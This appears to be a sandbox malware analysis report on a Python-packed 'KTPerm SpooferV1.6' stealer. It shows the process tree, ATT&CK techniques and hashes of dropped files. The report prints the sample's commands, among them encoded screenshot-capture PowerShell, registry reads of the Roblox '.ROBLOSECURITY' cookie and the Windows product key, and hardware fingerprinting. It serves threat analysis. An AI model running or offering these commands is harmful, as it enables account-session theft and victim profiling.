AAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
        7⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:1204
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\wnhfscdg\wnhfscdg.cmdline"
        8⤵
        
        PID:5096
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESBD55.tmp" "c:\Users\Admin\AppData\Local\Temp\wnhfscdg\CSC3B6825488C0F417582343B5B50385431.TMP"
        9⤵
        
        PID:4116
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        6⤵
        
        PID:1928
        
        C:\Windows\system32\tree.com
        
        tree /A /F
        7⤵
        
        PID:4784
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        6⤵
        
        PID:4892
        
        C:\Windows\system32\tree.com
        
        tree /A /F
        7⤵
        
        PID:4184
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        6⤵
        
        PID:3284
        
        C:\Windows\system32\tree.com
        
        tree /A /F
        7⤵
        
        PID:2328
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        6⤵
        
        PID:1180
        
        C:\Windows\system32\tree.com
        
        tree /A /F
        7⤵
        
        PID:1664
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        6⤵
        
        PID:1596
        
        C:\Windows\system32\tree.com
        
        tree /A /F
        7⤵
        
        PID:1528
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
        6⤵
        
        PID:4576
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:3140
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
        6⤵
        
        PID:2764
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        7⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:4704
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "getmac"
        6⤵
        
        PID:564
        
        C:\Windows\system32\getmac.exe
        
        getmac
        7⤵
        
        PID:456
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic os get Caption"
        6⤵
        
        PID:2956
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic os get Caption
        7⤵
        
        PID:1784
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
        6⤵
        
        PID:5040
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic computersystem get totalphysicalmemory
        7⤵
        
        PID:1928
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
        6⤵
        
        PID:4876
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic csproduct get uuid
        7⤵
        
        PID:4300
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
        6⤵
        
        PID:2332
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:3144
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
        6⤵
        
        PID:4000
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        7⤵
        Detects videocard installed
        
        PID:3156
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
        6⤵
        
        PID:3456
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
        7⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:2760
  - - C:\Users\Admin\AppData\Local\Temp\LKPerm\plugin\sdp.exe
      "C:\Users\Admin\AppData\Local\Temp\LKPerm\plugin\sdp.exe"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:768
    - - C:\Users\Admin\AppData\Local\Temp\onefile_768_133750423602316827\sdp.exe
        
        C:\Users\Admin\AppData\Local\Temp\LKPerm\plugin\sdp.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Modifies WinLogon
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:3844
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c title KTPerm SpooferV1.6
        6⤵
        
        PID:2688
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c color 06
        6⤵
        
        PID:1708
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c cls
        6⤵
        
        PID:3284
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c cls
        6⤵
        
        PID:1808
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c cls
        6⤵
        
        PID:1772
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c cls
        6⤵
        
        PID:3416
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c cls
        6⤵
        
        PID:1180
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c cls
        6⤵
        
        PID:1912
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c cls
        6⤵
        
        PID:2648
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c cls
        6⤵
        
        PID:1664

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:1588

C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\MiniSearchHost.exe
"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\MiniSearchHost.exe" -ServerName:MiniSearchUI.AppXj3y73at8fy1htwztzxs68sxx1v7cksp7.mca
1⤵
- Suspicious use of SetWindowsHookEx
PID:3132

C:\Windows\system32\BackgroundTransferHost.exe
"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.13
1⤵
- Modifies registry class
PID:4948

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Modify Registry

T1112

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Clipboard Data

T1115

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

run.bat

Path C:\Users\Admin\AppData\Local\Temp\LKPerm\plugin\run.bat
Size 88B
SHA256 61c1879b42d531533f5104e1ef0889a0c83462e80e4eae111db10aaf5da93743
MD5 e1e41cf5df3c508daef4282038979f15
SHA1 0540406f2c301203d451da173e48166bcd8cbb63
SHA512 a61015c9ac7e9dff16e56eac56bc481b0c3089b3c189c5b7087625745daf3110488aaf315f5c13fb452679fa55cb9386c8cdca8a82f2ce749671c505fb712644
MD5 SHA1 SHA512

Submit Download

_brotli.pyd

Path C:\Users\Admin\AppData\Local\Temp\ONEFIL~1\_brotli.pyd
Size 802KB
SHA256 788acbfd0edd6ca3ef3e97a9487eeaea86515642c71cb11bbcf25721e6573ec8
MD5 9ad5bb6f92ee2cfd29dde8dd4da99eb7
SHA1 30a8309938c501b336fd3947de46c03f1bb19dc8
SHA512 a166abcb834d6c9d6b25807adddd25775d81e2951e1bc3e9849d8ae868dedf2e1ee1b6b4b288ddfbd88a63a6fa624e2d6090aa71ded9b90c2d8cbf2d9524fdbf
SSDEEP 12288:wA0uu7wLKRemz/MfQuZ3ekAHhly782XTw05nmZfRJ:wfTdkAFtAmZfRJ
MD5 SHA1 SHA512 SSDEEP

Submit Download

_bz2.pyd

Path C:\Users\Admin\AppData\Local\Temp\ONEFIL~1\_bz2.pyd
Size 83KB
SHA256 cb15d6cc7268d3a0bd17d9d9cec330a7c1768b1c911553045c73bc6920de987f
MD5 30f396f8411274f15ac85b14b7b3cd3d
SHA1 d3921f39e193d89aa93c2677cbfb47bc1ede949c
SHA512 7d997ef18e2cbc5bca20a4730129f69a6d19abdda0261b06ad28ad8a2bddcdecb12e126df9969539216f4f51467c0fe954e4776d842e7b373fe93a8246a5ca3f
SSDEEP 1536:Iyhz79151BVo1vXfzIFnaR4bO1As0n8qsjk+VIMCVl7SyVx7:/hzx15evXkuxAP8qMk+VIMCVlJ
MD5 SHA1 SHA512 SSDEEP

Submit Download

_hashlib.pyd

Path C:\Users\Admin\AppData\Local\Temp\ONEFIL~1\_hashlib.pyd
Size 64KB
SHA256 43acecdc00dd5f9a19b48ff251106c63c975c732b9a2a7b91714642f76be074d
MD5 a25bc2b21b555293554d7f611eaa75ea
SHA1 a0dfd4fcfae5b94d4471357f60569b0c18b30c17
SHA512 b39767c2757c65500fc4f4289cb3825333d43cb659e3b95af4347bd2a277a7f25d18359cedbdde9a020c7ab57b736548c739909867ce9de1dbd3f638f4737dc5
SSDEEP 1536:9PgLpgE4Z27jHZWZnEmoANIMOIi7SyAx2:9EtHZeEmoANIMOIit
MD5 SHA1 SHA512 SSDEEP

Submit Download

_socket.pyd

Path C:\Users\Admin\AppData\Local\Temp\ONEFIL~1\_socket.pyd
Size 81KB
SHA256 67aca001d36f2fce6d88dbf46863f60c0b291395b6777c22b642198f98184ba3
MD5 69801d1a0809c52db984602ca2653541
SHA1 0f6e77086f049a7c12880829de051dcbe3d66764
SHA512 5fce77dd567c046feb5a13baf55fdd8112798818d852dfecc752dac87680ce0b89edfbfbdab32404cf471b70453a33f33488d3104cd82f4e0b94290e83eae7bb
SSDEEP 1536:mOYhekrkJqlerLSyypHf9/s+S+pzMii/n1IsJqKN5IMLwoR7SygCxkWN:vwkJqHyypHf9/sT+pzMiE1IwdN5IMLw0
MD5 SHA1 SHA512 SSDEEP

Submit Download

_ssl.pyd

Path C:\Users\Admin\AppData\Local\Temp\ONEFIL~1\_ssl.pyd
Size 174KB
SHA256 fa5e6fe9545f83704f78316e27446a0026fbebb9c0c3c63faed73a12d89784d4
MD5 90f080c53a2b7e23a5efd5fd3806f352
SHA1 e3b339533bc906688b4d885bdc29626fbb9df2fe
SHA512 4b9b8899052c1e34675985088d39fe7c95bfd1bbce6fd5cbac8b1e61eda2fbb253eef21f8a5362ea624e8b1696f1e46c366835025aabcb7aa66c1e6709aab58a
SSDEEP 3072:9EkiCZfBmvD1ZLnM2YfW6XSvWJLX2GvMf1ba+VRJNI7IM/H9o/PCrXuI3JVIMC7g:riC5QD1dwW6XSOMfjTwJH
MD5 SHA1 SHA512 SSDEEP

Submit Download

cacert.pem

Path C:\Users\Admin\AppData\Local\Temp\ONEFIL~1\certifi\cacert.pem
Size 292KB
SHA256 94edeb66e91774fcae93a05650914e29096259a5c7e871a1f65d461ab5201b47
MD5 50ea156b773e8803f6c1fe712f746cba
SHA1 2c68212e96605210eddf740291862bdf59398aef
SHA512 01ed2e7177a99e6cb3fbef815321b6fa036ad14a3f93499f2cb5b0dae5b713fd2e6955aa05f6bda11d80e9e0275040005e5b7d616959b28efc62abb43a3238f0
SSDEEP 6144:QW1x/M8fRR1jplkXURrVADwYCuCigT/QRSRqNb7d8iu5Nahx:QWb/TRJLWURrI5RWavdF08/
MD5 SHA1 SHA512 SSDEEP

Submit Download

md.pyd

Path C:\Users\Admin\AppData\Local\Temp\ONEFIL~1\charset_normalizer\md.pyd
Size 10KB
SHA256 ecf12e2c0a00c0ed4e2343ea956d78eed55e5a36ba49773633b2dfe7b04335c0
MD5 d9e0217a89d9b9d1d778f7e197e0c191
SHA1 ec692661fcc0b89e0c3bde1773a6168d285b4f0d
SHA512 3b788ac88c1f2d682c1721c61d223a529697c7e43280686b914467b3b39e7d6debaff4c0e2f42e9dddb28b522f37cb5a3011e91c66d911609c63509f9228133d
SSDEEP 96:KGUmje72HzA5iJGhU2Y0hQMsQJCUCLsZEA4elh3XQMtCFXiHBpv9cX6gTim1qeSC:rjQ2HzzU2bRYoe1HH9cqgTimoe
MD5 SHA1 SHA512 SSDEEP

Submit Download

libcrypto-3.dll

Path C:\Users\Admin\AppData\Local\Temp\ONEFIL~1\libcrypto-3.dll
Size 5.0MB
SHA256 4e5d5d20d6d31e72ab341c81e97b89e514326c4c861b48638243bdf0918cfa43
MD5 123ad0908c76ccba4789c084f7a6b8d0
SHA1 86de58289c8200ed8c1fc51d5f00e38e32c1aad5
SHA512 80fae0533ba9a2f5fa7806e86f0db8b6aab32620dde33b70a3596938b529f3822856de75bddb1b06721f8556ec139d784bc0bb9c8da0d391df2c20a80d33cb04
SSDEEP 98304:/V+Qs2NuR5YV0L8PQ1CPwDvt3uFlDC4SC9c:9rs2NuDYV0L841CPwDvt3uFlDC4SCa
MD5 SHA1 SHA512 SSDEEP

Submit Download

libssl-3.dll

Path C:\Users\Admin\AppData\Local\Temp\ONEFIL~1\libssl-3.dll
Size 774KB
SHA256 2e4d35b681a172d3298caf7dc670451be7a8ba27c26446efc67470742497a950
MD5 4ff168aaa6a1d68e7957175c8513f3a2
SHA1 782f886709febc8c7cebcec4d92c66c4d5dbcf57
SHA512 c372b759b8c7817f2cbb78eccc5a42fa80bdd8d549965bd925a97c3eebdce0335fbfec3995430064dead0f4db68ebb0134eb686a0be195630c49f84b468113e3
SSDEEP 12288:7LN1sdyIzHHZp5c3nlUa6lxzAG11rbmFe9Xbv:7LgfzH5I3nlUa2AU2Fe9Xbv
MD5 SHA1 SHA512 SSDEEP

Submit Download

select.pyd

Path C:\Users\Admin\AppData\Local\Temp\ONEFIL~1\select.pyd
Size 30KB
SHA256 00bd8bb6dec8c291ec14c8ddfb2209d85f96db02c7a3c39903803384ff3a65e5
MD5 7c14c7bc02e47d5c8158383cb7e14124
SHA1 5ee9e5968e7b5ce9e4c53a303dac9fc8faf98df3
SHA512 af70cbdd882b923013cb47545633b1147ce45c547b8202d7555043cfa77c1deee8a51a2bc5f93db4e3b9cbf7818f625ca8e3b367bffc534e26d35f475351a77c
SSDEEP 384:IyRVBC9t6Lhz64CHf2slDT90Y5IMQGCHQIYiSy1pCQFm/AM+o/8E9VF0Ny/r5n+/:LGyKHfx1H5IMQGY5YiSyv4AMxkEFNnq
MD5 SHA1 SHA512 SSDEEP

Submit Download

unicodedata.pyd

Path C:\Users\Admin\AppData\Local\Temp\ONEFIL~1\unicodedata.pyd
Size 1.1MB
SHA256 bf669344d1b1c607d10304be47d2a2fb572e043109181e2c5c1038485af0c3d7
MD5 a8ed52a66731e78b89d3c6c6889c485d
SHA1 781e5275695ace4a5c3ad4f2874b5e375b521638
SHA512 1c131911f120a4287ebf596c52de047309e3be6d99bc18555bd309a27e057cc895a018376aa134df1dc13569f47c97c1a6e8872acedfa06930bbf2b175af9017
SSDEEP 12288:arEHdcM6hbuCjJ43w9hIpCQvb0QN8MdIEQ+U2BNNmD+99FfcAIU:arEXDCjfk7bPNfv42BN6yzUAIU
MD5 SHA1 SHA512 SSDEEP

Submit Download

sqlite3.dll

Path C:\Users\Admin\AppData\Local\Temp\ONEFIL~2\sqlite3.dll
Size 1.5MB
SHA256 054a7b736de7afbd447b07ee5e72df2febcaa06758f7a028873771567e8735d3
MD5 f3592da629e4f247598e232b2cbfbac1
SHA1 65429fbec3f5545640f2cda784dc7dcca420eb3b
SHA512 6fc24890a7be1ed73f1efdf2b7723c3a7de5ddb36b87ff7b01949fc2b14813e7b7c8b8311abee2796a9a4efffedfc1d2020ffa794e59004ca4fb6798b993190d
SSDEEP 24576:OU/QhAI889YyuQYZlm/8AgzMkf6G5MJ8NW/yKhh+ivz/LZ/Xm+5D3ovTDJl:HVyuQYZlm/8vP6G5MJ8NuF+IzDZ/XPoP
MD5 SHA1 SHA512 SSDEEP

Submit Download

__PSScriptPolicyTest_pegoiomx.pls.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pegoiomx.pls.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

VCRUNTIME140.dll

Path C:\Users\Admin\AppData\Local\Temp\onefile_1100_133750423565657814\VCRUNTIME140.dll
Size 116KB
SHA256 4d292623516f65c80482081e62d5dadb759dc16e851de5db24c3cbb57b87db83
MD5 be8dbe2dc77ebe7f88f910c61aec691a
SHA1 a19f08bb2b1c1de5bb61daf9f2304531321e0e40
SHA512 0da644472b374f1da449a06623983d0477405b5229e386accadb154b43b8b083ee89f07c3f04d2c0c7501ead99ad95aecaa5873ff34c5eeb833285b598d5a655
SSDEEP 1536:+qvQ1Dj2DkX7OcujarvmdlYNABCmgrP4ddbkZIecbWcFML/UXzlghzdMFw84hzk:+qvQ1D2CreiABCmgYecbWVLUD6h+b4ho
MD5 SHA1 SHA512 SSDEEP

Submit Download

_ctypes.pyd

Path C:\Users\Admin\AppData\Local\Temp\onefile_1100_133750423565657814\_ctypes.pyd
Size 122KB
SHA256 6c5f31bef3fdbff31beac0b1a477be880dda61346d859cf34ca93b9291594d93
MD5 5377ab365c86bbcdd998580a79be28b4
SHA1 b0a6342df76c4da5b1e28a036025e274be322b35
SHA512 56f28d431093b9f08606d09b84a392de7ba390e66b7def469b84a21bfc648b2de3839b2eee4fb846bbf8bb6ba505f9d720ccb6bb1a723e78e8e8b59ab940ac26
SSDEEP 3072:IXw32spTVYgFoj6N2xE9sb7V/f/E4ZBq5syCtYPU95IMLPhr:IgGEOgFoj68ksRf/ERsX
MD5 SHA1 SHA512 SSDEEP

Submit Download

_lzma.pyd

Path C:\Users\Admin\AppData\Local\Temp\onefile_1100_133750423565657814\_lzma.pyd
Size 156KB
SHA256 a46189c5bd0302029847fed934f481835cb8d06470ea3d6b97ada7d325218a9f
MD5 9e94fac072a14ca9ed3f20292169e5b2
SHA1 1eeac19715ea32a65641d82a380b9fa624e3cf0d
SHA512 b7b3d0f737dd3b88794f75a8a6614c6fb6b1a64398c6330a52a2680caf7e558038470f6f3fc024ce691f6f51a852c05f7f431ac2687f4525683ff09132a0decb
SSDEEP 3072:ssvkxujgo7e2uONOG+hi+CTznfF9mNoDXnmbuVIMZ10L:snu0o7JUCNYOD2Kg
MD5 SHA1 SHA512 SSDEEP

Submit Download

_queue.pyd

Path C:\Users\Admin\AppData\Local\Temp\onefile_1100_133750423565657814\_queue.pyd
Size 31KB
SHA256 0a6acfd24dfbaa777460c6d003f71af473d5415607807973a382512f77d075fa
MD5 e1c6ff3c48d1ca755fb8a2ba700243b2
SHA1 2f2d4c0f429b8a7144d65b179beab2d760396bfb
SHA512 55bfd1a848f2a70a7a55626fb84086689f867a79f09726c825522d8530f4e83708eb7caa7f7869155d3ae48f3b6aa583b556f3971a2f3412626ae76680e83ca1
SSDEEP 768:WlzRmezj6rGqMoW45IMQUHR5YiSyvMcAMxkEm2j:yRm0mGpoW45IMQUHf7SyVxb
MD5 SHA1 SHA512 SSDEEP

Submit Download

md__mypyc.pyd

Path C:\Users\Admin\AppData\Local\Temp\onefile_1100_133750423565657814\charset_normalizer\md__mypyc.pyd
Size 120KB
SHA256 4107b1d6f11d842074a9f21323290bbe97e8eed4aa778fbc348ee09cc4fa4637
MD5 bf9a9da1cf3c98346002648c3eae6dcf
SHA1 db16c09fdc1722631a7a9c465bfe173d94eb5d8b
SHA512 7371407d12e632fc8fb031393838d36e6a1fe1e978ced36ff750d84e183cde6dd20f75074f4597742c9f8d6f87af12794c589d596a81b920c6c62ee2ba2e5654
SSDEEP 3072:bA3W6Fck6/g5DzNa4cMy/dzpd1dhdMdJGFEr6/vD:MW6NzcMy/d13FErgvD
MD5 SHA1 SHA512 SSDEEP

Submit Download

libffi-8.dll

Path C:\Users\Admin\AppData\Local\Temp\onefile_1100_133750423565657814\libffi-8.dll
Size 38KB
SHA256 eff52743773eb550fcc6ce3efc37c85724502233b6b002a35496d828bd7b280a
MD5 0f8e4992ca92baaf54cc0b43aaccce21
SHA1 c7300975df267b1d6adcbac0ac93fd7b1ab49bd2
SHA512 6e1b223462dc124279bfca74fd2c66fe18b368ffbca540c84e82e0f5bcbea0e10cc243975574fa95ace437b9d8b03a446ed5ee0c9b1b094147cefaf704dfe978
SSDEEP 768:NiQfxQemQJNrPN+moyijAc5YiSyvkIPxWEqG:dfxIQvPkmoyijP7SytPxF
MD5 SHA1 SHA512 SSDEEP

Submit Download

python312.dll

Path C:\Users\Admin\AppData\Local\Temp\onefile_1100_133750423565657814\python312.dll
Size 6.6MB
SHA256 c045b57348c21f5f810bae60654ae39490846b487378e917595f1f95438f9546
MD5 166cc2f997cba5fc011820e6b46e8ea7
SHA1 d6179213afea084f02566ea190202c752286ca1f
SHA512 49d9d4df3d7ef5737e947a56e48505a2212e05fdbcd7b83d689639728639b7fd3be39506d7cfcb7563576ebee879fd305370fdb203909ed9b522b894dd87aacb
SSDEEP 49152:mRSn173WIgXqQYRn0I+gaYFD0iRpIrCMEGXgeieBwHTuJTA8LbLH7ft4OCLj8j4V:mIn8hYEgw8Ij887GlSvBHDMiEruuln
MD5 SHA1 SHA512 SSDEEP

Submit Download

v1.6.exe

Path C:\Users\Admin\AppData\Local\Temp\onefile_1100_133750423565657814\v1.6.exe
Size 18.3MB
SHA256 5df873ccc6a550d8a9cd07c9cfa09e7849b2d55e824e90c9ddb4db36ac0f0324
MD5 7e0815cb9d74e816bfcb8242cdfa015d
SHA1 538c859141c251b9f973707902ff4d7db7c06888
SHA512 84977540fc95cb6173c233909c7eb6c69fbce527ee2db527545b5414d05c39368704cb33c11e4f0894eff7ce857d0316fcde0f26fe3c32a6264ea41503e0e05f
SSDEEP 98304:FRnzzHFjs22NNP8z0wvFlGif9uwMByAci9SHgFhsKbZfiwTLOK2jpFrHEfwC6kWc:UrTLBARXcfohXOE51QQIfqDVvK562
MD5 SHA1 SHA512 SSDEEP

Submit Download

_sqlite3.pyd

Path C:\Users\Admin\AppData\Local\Temp\onefile_4688_133750423600129149\_sqlite3.pyd
Size 122KB
SHA256 fdeacc2aff71fe21d7a0de0603388299fa203c2692fdbdb3709f1bc4cc9cdc0e
MD5 64417c2ccd84392880b417e8a9f7a4bc
SHA1 88c6139471737b14d4161c010b10ad9615766dbb
SHA512 05163d678f18ea901c5da45f41ee25073b7834e711c2809f98df122e6485b3979c5331709a6f48079a53931d3dbc3b569738b51736260ce1b67811c073c7ea84
SSDEEP 3072:6WdTrLGXVx7Qt+HEGFCO4w5yirrPrrrrrrbEOyfgv/pWwb8NIMOQI3:zAVxMt7pC5TrWgHos8e
MD5 SHA1 SHA512 SSDEEP

Submit Download

_wmi.pyd

Path C:\Users\Admin\AppData\Local\Temp\onefile_4688_133750423600129149\_wmi.pyd
Size 36KB
SHA256 73b7ee3156ef63d6eb7df9900ef3d200a276df61a70d08bd96f5906c39a3ac32
MD5 827615eee937880862e2f26548b91e83
SHA1 186346b816a9de1ba69e51042faf36f47d768b6c
SHA512 45114caf2b4a7678e6b1e64d84b118fb3437232b4c0add345ddb6fbda87cebd7b5adad11899bdcd95ddfe83fdc3944a93674ca3d1b5f643a2963fbe709e44fb8
SSDEEP 768:rUmqQhTcYr6NxO0VIMCit5YiSyv4YmAJAMxkEn:Im7GBNxO0VIMCiz7SyQYmQxz
MD5 SHA1 SHA512 SSDEEP

Submit Download

plugin.exe

Path C:\Users\Admin\AppData\Local\Temp\onefile_4688_133750423600129149\plugin.exe
Size 10.9MB
SHA256 31468061fbaf78650c2046c7458fa54b762fe00b5abba52b85063ce6dd357770
MD5 8f0d4c1ab369737cbfee9bd1a84f87a3
SHA1 09a371c621f788450523961a75ae31b0631ad6af
SHA512 87bff47dbaf3136c527acf89ee4532e0f54d2694dfa5ce9cc6bcca3b0f49bd16e31d616efd8d0813be2f732e66ac3614481984c7a73025c5fed20c117f368faa
